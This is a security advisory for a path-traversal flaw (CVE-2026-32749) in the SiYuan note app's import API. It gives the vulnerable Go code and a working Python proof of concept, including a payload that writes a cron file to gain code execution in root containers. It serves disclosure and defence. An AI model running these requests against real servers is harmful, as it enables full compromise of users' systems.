PT-2026-25824 · Go · Github.Com/Siyuan-Note/Siyuan/Kernel

Published

2026-03-16

·

Updated

2026-03-16

·

CVE-2026-32749

CVSS v3.1
7.6
VectorAV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N

Summary

POST /api/import/importSY
and
POST /api/import/importZipMd
write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory — including system paths that enable RCE.

Details

File:
kernel/api/import.go
— functions
importSY
and
importZipMd
file := files[0]

// ❌ file.Filename comes from the HTTP multipart header — fully user-controlled
writePath := filepath.Join(util.TempDir, "import", file.Filename)
// e.g. TempDir=/siyuan/workspace/temp, file.Filename="../../data/evil"
// → writePath = /siyuan/workspace/data/evil (escapes temp/import/)

writer, err := os.OpenFile(writePath, os.O RDWR|os.O CREATE, 0644)
importZipMd
has a second traversal in
unzipPath
construction:
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath  := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)  // unzipPath also escapes TempDir
filepath.Join
calls
filepath.Clean
internally, but cleaning happens after concatenation — sufficient
../
sequences escape the base directory entirely. The
curl
tool sanitizes
../
in multipart filenames, so exploitation requires sending the raw HTTP request via Python
requests
or a custom client.

PoC

Environment:
docker run -d --name siyuan -p 6806:6806 
 -v $(pwd)/workspace:/siyuan/workspace 
 b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
import requests, zipfile, io

HOST = "http://localhost:6806"
TOKEN = "YOUR ADMIN TOKEN" # from Settings → About → API Token

# Create a valid .sy.zip payload
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
  z.writestr("TestNB/20240101000000-abcdefg.sy",
    '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
  z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)

# Traversal filename — Python requests does NOT sanitize ../
r = requests.post(f"{HOST}/api/import/importSY",
  headers={"Authorization": f"Token {TOKEN}"},
  files={"file": ("../../data/TRAVERSAL PROOF.zip", buf.read(), "application/zip")},
  data={"notebook": "YOUR NOTEBOOK ID", "toPath": "/"})

print(r.text)
# Returns: {"code":0,"msg":"","data":null}
# File was written to /siyuan/workspace/data/TRAVERSAL PROOF.zip
RCE via cron (root container):
cron = b"* * * * * root touch /tmp/RCE CONFIRMED
"
r = requests.post(f"{HOST}/api/import/importSY",
  headers={"Authorization": f"Token {TOKEN}"},
  files={"file": ("../../../../../etc/cron.d/siyuan poc", cron, "application/zip")},
  data={"notebook": "NOTEBOOK ID", "toPath": "/"})
# cron executes on next minute → /tmp/RCE CONFIRMED appears
Confirmed response on v3.6.0:
{"code":0,"msg":"","data":null}

Impact

An admin can write arbitrary content to any path writable by the SiYuan process:
  • RCE via
    /etc/cron.d/
    (root containers),
    ~/.bashrc
    , SSH
    authorized keys
  • Data destruction by overwriting workspace or application files
  • In Docker containers running as root (common default), this grants full container compromise

Fix

Path traversal

Weakness Enumeration

Related Identifiers

CVE-2026-32749
GHSA-QVVF-Q994-X79V

Affected Products

Github.Com/Siyuan-Note/Siyuan/Kernel